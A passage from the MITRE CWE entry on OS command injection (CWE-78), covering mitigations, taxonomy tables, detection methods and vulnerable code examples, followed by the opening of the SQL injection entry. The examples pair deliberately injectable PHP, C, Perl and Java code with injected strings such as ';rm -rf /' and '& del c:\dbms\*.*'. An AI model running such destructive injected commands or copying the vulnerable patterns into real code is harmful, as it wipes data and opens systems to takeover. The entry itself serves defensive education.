When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

Phase: Operation

Strategy: Sandbox or Jail

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.88Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.184Incomplete List of Disallowed Inputs
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

(bad code)
Example Language: PHP 
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);

The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:

(attack code)
 
;rm -rf /

Which would result in $command being:

(result)
 
ls -l /home/;rm -rf /

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.


Example 2

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

(bad code)
Example Language:
int main(int argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat ";
strcat(cmd, argv[1]);
system(cmd);
}

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).


Example 3

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

(bad code)
Example Language: Perl 
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {
while (<$fh>) {
print escapeHTML($_);
print "<br>\n";
}
close($fh);
}

Suppose an attacker provides a domain name like this:

(attack code)
 
cwe.mitre.org%20%3B%20/bin/ls%20-l

The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

(result)
 
/path/to/nslookup cwe.mitre.org ; /bin/ls -l

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.


Example 4

The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

(bad code)
Example Language: Java 
String script = System.getProperty("SCRIPTNAME");
if (script != null)
System.exec(script);

If an attacker has control over this property, then they could modify the property to point to a dangerous program.


Example 5

In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

(bad code)
Example Language: Java 
public String coordinateTransformLatLonToUTM(String coordinates)
{
String utmCoords = null;
try {
String latlonCoords = coordinates;
Runtime rt = Runtime.getRuntime();
Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
// process results of coordinate transform

// ...
}
catch(Exception e) {...}
return utmCoords;
}

However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program.


Example 6

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

(bad code)
Example Language: Java 
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
c:\\util\\rmanDB.bat "
+btype+
"&&c:\\utl\\cleanup.bat\"")

System.Runtime.getRuntime().exec(cmd);
...

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.


Example 7

The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable:

(bad code)
Example Language:
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {

char cat[] = "cat ";
char *command;
size_t commandLength;

commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength - strlen(cat)) );

system(command);
return (0);
}

Used normally, the output is simply the contents of the file requested, such as Story.txt:

(informative)
 
./catWrapper Story.txt
(result)
 
When last we left our heroes...

However, if the provided argument includes a semicolon and another command, such as:

(attack code)
 
Story.txt; ls

Then the "ls" command is executed by catWrapper with no complaint:

(result)
 
./catWrapper Story.txt; ls

Two commands would then be executed: catWrapper, then ls. The result might look like:

(result)
 
When last we left our heroes...
Story.txt
SensitiveFile.txt
PrivateData.db
a.out*

If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.


+ Observed Examples
ReferenceDescription
OS command injection in Wi-Fi router, as exploited in the wild per CISA KEV.
Template functionality in network configuration management tool allows OS command injection, as exploited in the wild per CISA KEV.
Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.
Canonical example of OS command injection. CGI program does not neutralize "|" metacharacter when invoking a phonebook program.
Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
Web server allows command execution using "|" (pipe) character.
FTP client does not filter "|" from filenames returned by the server, allowing for OS command injection.
Shell metacharacters in a filename in a ZIP archive
Shell metacharacters in a telnet:// link are not properly handled when the launching application processes the link.
OS command injection through environment variable.
OS command injection through https:// URLs
Chain: incomplete denylist for OS command injection
Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters.
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis.

Note: This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • Program Invocation
+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.714OWASP Top Ten 2007 Category A3 - Malicious File Execution
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.727OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.741CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.744CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.810OWASP Top Ten 2010 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.845The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8642011 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.878CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1134SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1165SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Terminology

The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.

Research Gap

More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEROS Command Injection
OWASP Top Ten 2007A3CWE More SpecificMalicious File Execution
OWASP Top Ten 2004A6CWE More SpecificInjection Flaws
CERT C Secure CodingENV03-CSanitize the environment when invoking external programs
CERT C Secure CodingENV33-CCWE More SpecificDo not call system()
CERT C Secure CodingSTR02-CSanitize data passed to complex subsystems
WASC31OS Commanding
The CERT Oracle Secure Coding Standard for Java (2011)IDS07-JDo not pass untrusted, unsanitized data to the Runtime.exec() method
Software Fault PatternsSFP24Tainted input to command
OMG ASCSMASCSM-CWE-78
+ References
[REF-140] Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. 2004-02-27. <https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958>. URL validated: 2023-04-07.
[REF-685] Pascal Meunier. "Meta-Character Vulnerabilities". 2008-02-20. <https://web.archive.org/web/20100714032622/https://www.cs.purdue.edu/homes/cs390s/slides/week09.pdf>. URL validated: 2023-04-07.
[REF-686] Robert Auger. "OS Commanding". 2009-06. <http://projects.webappsec.org/w/page/13246950/OS%20Commanding>. URL validated: 2023-04-07.
[REF-687] Lincoln Stein and John Stewart. "The World Wide Web Security FAQ". chapter: "CGI Scripts". 2002-02-04. <https://www.w3.org/Security/Faq/wwwsf4.html>. URL validated: 2023-04-07.
[REF-688] Jordan Dimov, Cigital. "Security Issues in Perl Scripts". <https://www.cgisecurity.com/lib/sips.html>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 10: Command Injection." Page 171. McGraw-Hill. 2010.
[REF-690] Frank Kim. "Top 25 Series - Rank 9 - OS Command Injection". SANS Software Security Institute. 2010-02-24. <https://www.sans.org/blog/top-25-series-rank-9-os-command-injection/>. URL validated: 2023-04-07.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Shell Metacharacters", Page 425. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-78. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
[REF-1449] Cybersecurity and Infrastructure Security Agency. "Secure by Design Alert: Eliminating OS Command Injection Vulnerabilities". 2024-07-10. <https://www.cisa.gov/resources-tools/resources/secure-design-alert-eliminating-os-command-injection-vulnerabilities>. URL validated: 2024-07-14.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2024-02-29
(CWE 4.15, 2024-07-16)
Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Observed_Examples, Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Research_Gaps, Terminology_Notes
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Name, Related_Attack_Patterns
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated Description, Name, White_Box_Definitions
2009-10-29CWE Content TeamMITRE
updated Observed_Examples, References
2009-12-28CWE Content TeamMITRE
updated Detection_Factors
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Description, Detection_Factors, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Terminology_Notes
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2021-07-20CWE Content TeamMITRE
updated Observed_Examples, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Demonstrative_Examples
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Common_Consequences, Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2024-07-16
(CWE 4.15, 2024-07-16)
CWE Content TeamMITRE
updated Alternate_Terms, Common_Consequences, Demonstrative_Examples, Description, Diagram, References
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11OS Command Injection
2009-01-12Failure to Sanitize Data into an OS Command (aka 'OS Command Injection')
2009-05-27Failure to Preserve OS Command Structure (aka 'OS Command Injection')
2009-07-27Failure to Preserve OS Command Structure ('OS Command Injection')
2010-06-21Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection')

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Weakness ID: 89
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Diagram for CWE-89
+ Alternate Terms
SQL injection:
a common attack-oriented phrase
SQLi:
a common abbreviation for "SQL injection"
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands

Adversaries could execute system commands, typically by changing the SQL statement to redirect output to a file that can then be executed.
Confidentiality

Technical Impact: Read Application Data

Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.
Authentication

Technical Impact: Gain Privileges or Assume Identity; Bypass Protection Mechanism

If poor SQL commands are used to check user names and passwords or perform other kinds of authentication, it may be possible to connect to the product as another user with no previous knowledge of the password.
Access Control

Technical Impact: Bypass Protection Mechanism

If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.
Integrity

Technical Impact: Modify Application Data

Just as it may be possible to read sensitive information, it is also possible to modify or even delete this information with a SQL injection attack.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

Phase: Architecture and Design

Strategy: Parameterization

